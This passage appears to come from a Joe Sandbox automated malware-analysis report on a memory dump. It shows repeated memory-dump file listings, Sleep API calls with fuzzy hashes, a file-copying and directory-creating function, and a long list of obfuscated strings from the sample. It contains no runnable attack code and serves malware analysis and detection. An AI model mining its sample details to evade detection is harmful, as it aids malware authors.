Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 2aaacf6df31a92a2321133e50f76095ee1ac4ce490fd3ea65f7b8d66a3acfcdf
Instruction ID: 00c03c7d85f9818f2f35c9315122511def8b6ee8c3ebeedefc5d0916c48f7ed8
Opcode Fuzzy Hash: 2aaacf6df31a92a2321133e50f76095ee1ac4ce490fd3ea65f7b8d66a3acfcdf
Instruction Fuzzy Hash: 3701F771E04684AFD721EBA89D07BA97BAEE789B30F040259E5141B7D1D7B41C0187C1

Uniqueness

Uniqueness Score: -1.00%

Function 009BE750 Relevance: 1.3, APIs: 1, Instructions: 43sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000065,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 009BE7C7

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 375f467740e18480ed932a25a1ab7c1628ac654be80afd70e007765e7fe47fd2
Instruction ID: 731877cee9ac42e583daf05ba07c3571c947e401172fd646231faf601f2db4ec
Opcode Fuzzy Hash: 375f467740e18480ed932a25a1ab7c1628ac654be80afd70e007765e7fe47fd2
Instruction Fuzzy Hash: EB01F771E046C4BBD721EFA89D46BA97BACE745B30F040259F4101BAD1DBB42C028BC2

Uniqueness

Uniqueness Score: -1.00%

Function 009BE890 Relevance: 1.3, APIs: 1, Instructions: 43sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000065,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 009BE907

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 174531156ae26f327233e3b2f9b9fb5de6c44ede06bfd56eb8de73d0327724f6
Instruction ID: fa0a952f0b2b9eaffa6f659cdbee0eeaf03d0bb7e0f5d68e9f298c4f27247b78
Opcode Fuzzy Hash: 174531156ae26f327233e3b2f9b9fb5de6c44ede06bfd56eb8de73d0327724f6
Instruction Fuzzy Hash: BC014732E006C4BBE720EBA89D06BA97BACE745B30F140258E0100B6D1D7B4180587C2

Uniqueness

Uniqueness Score: -1.00%

Function 009BE9D0 Relevance: 1.3, APIs: 1, Instructions: 43sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000065,?,?,?,?,?,?,?,?,?,?,?,?), ref: 009BEA47

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 125da3e46e8615ffe4459fefabef0e17ffcb23986a371b5635ba52c89556924a
Instruction ID: 9241739223bb908f0a417e0b0f8c64d180cb42d60dd93d5d8286eee917d9ff3b
Opcode Fuzzy Hash: 125da3e46e8615ffe4459fefabef0e17ffcb23986a371b5635ba52c89556924a
Instruction Fuzzy Hash: 6401F232E447C4AFDB21EB989D06BAABBACF745B30F04065DE4101B6D1E7F4280187D1

Uniqueness

Uniqueness Score: -1.00%

Function 009BE930 Relevance: 1.3, APIs: 1, Instructions: 43sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000065,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 009BE9A7

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 47e4431613b4425affe95295a4b953db70caec319a72f5321081b1b8f55de113
Instruction ID: ba3b93dae91fe24f4aee3b3219f803306da6662b2145683afb4bc0b4b3863e9b
Opcode Fuzzy Hash: 47e4431613b4425affe95295a4b953db70caec319a72f5321081b1b8f55de113
Instruction Fuzzy Hash: 06014232E00688ABD720EBA89D43BAA7BACE785B30F140258E5140B3D1D7B82C4687C1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 009AE7B0 Relevance: 284.7, APIs: 9, Strings: 153, Instructions: 1182fileCOMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(00000000,00000000,?,?,?,?,?,?,00ABDAFC,00000001), ref: 009AEBE2
CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 009AEC55
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00ABDAFC,00000001), ref: 009AEC81
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00ABDAFC,00000001), ref: 009AEC9F

Part of subcall function 009AB1A0: GetLastError.KERNEL32(?,009FE8D7,?,00000000), ref: 009AB207

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 009AEE16
CreateDirectoryA.KERNEL32(?,00000000,?,qoZDYK,?,01004A56,qoZDYK,qoZDYK), ref: 009AF00C
CreateDirectoryA.KERNEL32(00000000,00000000,?,qgATTJVPqt,?,?,qgATTJVPqt,qgATTJVPqt,?,qgATTJVPqt,?,00000000,qgATTJVPqt,qgATTJVPqt,?,qoZDYK), ref: 009AF16D

Part of subcall function 009AB1A0: std::_Throw_Cpp_error.LIBCPMT ref: 009AB24F
Part of subcall function 009AB1A0: std::_Throw_Cpp_error.LIBCPMT ref: 009AB260

CreateDirectoryA.KERNEL32(00000000,00000000,?,53406271,?,?,53406271,53406272,?,53406271,?,00000000,53406271,53406272,?,qgATTJVPqt), ref: 009AF412
CreateDirectoryA.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,?,?,?,53406271), ref: 009AF6C0

Strings

y_A], xrefs: 009B278C
QRZ4, xrefs: 009B09A7
qb@S, xrefs: 009B106C
_, xrefs: 009B1997
l@@^, xrefs: 009B2FFC
E[w[, xrefs: 009B2DD7
qkCU, xrefs: 009B1C42
YQX%, xrefs: 009B2CF7
AYEY, xrefs: 009B2425
AYEY, xrefs: 009B24BE
IKYS, xrefs: 009B3687
TJVP, xrefs: 009B2270
iO\X, xrefs: 009B30D0
X\P[, xrefs: 009B3139
qb@S, xrefs: 009B24A8
VY^V, xrefs: 009B333F
AYEY, xrefs: 009B100D
`KHQ, xrefs: 009B33E5
)#3, xrefs: 009B2D0B
RFAA, xrefs: 009B06D6
2, xrefs: 009B09B1
\YZ, xrefs: 009B1361
R]ZZ, xrefs: 009B34B1
qgATTJVPqt, xrefs: 009AF0FD, 009AF12B
qb@S, xrefs: 009B239E
ol~s, xrefs: 009B3076
$, xrefs: 009B0460
qo[_, xrefs: 009B0513
qgAT, xrefs: 009B28E4
N, xrefs: 009B061F
qgAT, xrefs: 009B2857
T[Q4, xrefs: 009B17C0
qkCU, xrefs: 009B06CC
X, xrefs: 009B06E0
2--, xrefs: 009B1D6E
Xzc{, xrefs: 009B0A72
X, xrefs: 009B2027
qm@Y, xrefs: 009B1540
AYEY, xrefs: 009B23B2
d@IY, xrefs: 009B3329
qgAT, xrefs: 009B22F3
R]ZZ, xrefs: 009B33EF
N, xrefs: 009B1F66
qgATTJVPqt, xrefs: 009AF047, 009AF078
qkCU, xrefs: 009B0A5E
aI^,, xrefs: 009B14CA
AYEY, xrefs: 009B2AAF
qiZQ, xrefs: 009B2193
qlF^, xrefs: 009B1E2E
WSEL, xrefs: 009B0DEF
qb@S, xrefs: 009B0FF9
qkW_, xrefs: 009B089B
qb@S, xrefs: 009B2A02
^[], xrefs: 009B3451
_[GQ, xrefs: 009B3333
qgAT, xrefs: 009B0E58
qk[X, xrefs: 009B2013
qyNC, xrefs: 009B188B
qiZQ, xrefs: 009B2117
AYEY, xrefs: 009B1119
^[], xrefs: 009B3691
qLFD, xrefs: 009B1AC7
qYN\]WGG, xrefs: 009B00B6, 009B00DD
qb@S, xrefs: 009B2A99
CVR, xrefs: 009B211E
AYEY, xrefs: 009B1080
^@J, xrefs: 009B16BE
^[], xrefs: 009B2F18
k\JY, xrefs: 009B31E2
TJVP, xrefs: 009B2861
R]ZZ, xrefs: 009B3767
., xrefs: 009AE940
RFAA, xrefs: 009B0A68
CVR, xrefs: 009B219D
R]ZZ, xrefs: 009B37C6
dal_, xrefs: 009B32AB
qYN\, xrefs: 009AFAEC
\[P, xrefs: 009B051D
yK]B, xrefs: 009B3572
r]AQ, xrefs: 009B30DA
qgAT, xrefs: 009B27EE
qb@S, xrefs: 009B2411
TJVP, xrefs: 009B0F58
qgAT, xrefs: 009B2266
y_A], xrefs: 009B270C
IGHY, xrefs: 009B36ED
-'77, xrefs: 009B14D4
RFA[, xrefs: 009B1C4C
[, xrefs: 009B351F
YWA, xrefs: 009B1A6D
UG@, xrefs: 009B08A5
ES_W, xrefs: 009B36F7
Q, xrefs: 009B1C60
qgAT, xrefs: 009B0F4E
5, xrefs: 009B07EB
qo]], xrefs: 009B1640
qb@S, xrefs: 009AF2A7
T@VA, xrefs: 009B201D
Z_Y, xrefs: 009B3703
R]ZZ, xrefs: 009B31EC
^@J, xrefs: 009B164A
qdNH, xrefs: 009B0DDB
I, xrefs: 009B2E48
), xrefs: 009B3A8B
T@\, xrefs: 009B0C25
TJVP, xrefs: 009B28EE
@, xrefs: 009B0DF9
E, xrefs: 009B0D27
P\PQ, xrefs: 009B1E38
dVL_, xrefs: 009B3392
r]ZZ, xrefs: 009B324E
`GAS, xrefs: 009B3447
iAHUR]ZZ, xrefs: 009B2FB5, 009B2FCC
aG[U, xrefs: 009B375D
TQ\], xrefs: 009B3513
oG[S, xrefs: 009B2F11
qcZ\, xrefs: 009B2DCD
qgAT, xrefs: 009B0EC1
RL^', xrefs: 009B0456
[uVK, xrefs: 009B1C56
PQ\], xrefs: 009B357C
AYEY, xrefs: 009AF2B7
qoZDYK, xrefs: 009AEF8C, 009AEFB6
\RS%, xrefs: 009B07E1
TJVP, xrefs: 009B27F8
^[], xrefs: 009B3080
TJVP, xrefs: 009B22FD
qb@S, xrefs: 009B1103
TJVP, xrefs: 009B0ECB
QRZ4, xrefs: 009B1B9C
qlFD, xrefs: 009B1A63
)#3;, xrefs: 009B17D4
2, xrefs: 009B1BA6
AYEY, xrefs: 009B2A16
qo]], xrefs: 009B16B4
AYEY, xrefs: 009B29A3
TJVP, xrefs: 009B2207
cOBU, xrefs: 009B34A7
jACT, xrefs: 009B3244
PPZ, xrefs: 009B1895
qYN\]WGG, xrefs: 009AFEF6, 009AFF28
o5"(, xrefs: 009B2D01
qb@S, xrefs: 009B298F
qgAT, xrefs: 009B21FD
TJVP, xrefs: 009B0E62
qbJT, xrefs: 009B2778
qbJT, xrefs: 009B26F8
kB@B, xrefs: 009B312F
}\F], xrefs: 009B3509
[, xrefs: 009B3588
qc@^, xrefs: 009B0C1B
_]^], xrefs: 009B154A
qYN\]WGG, xrefs: 009B01C7, 009B01D8

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
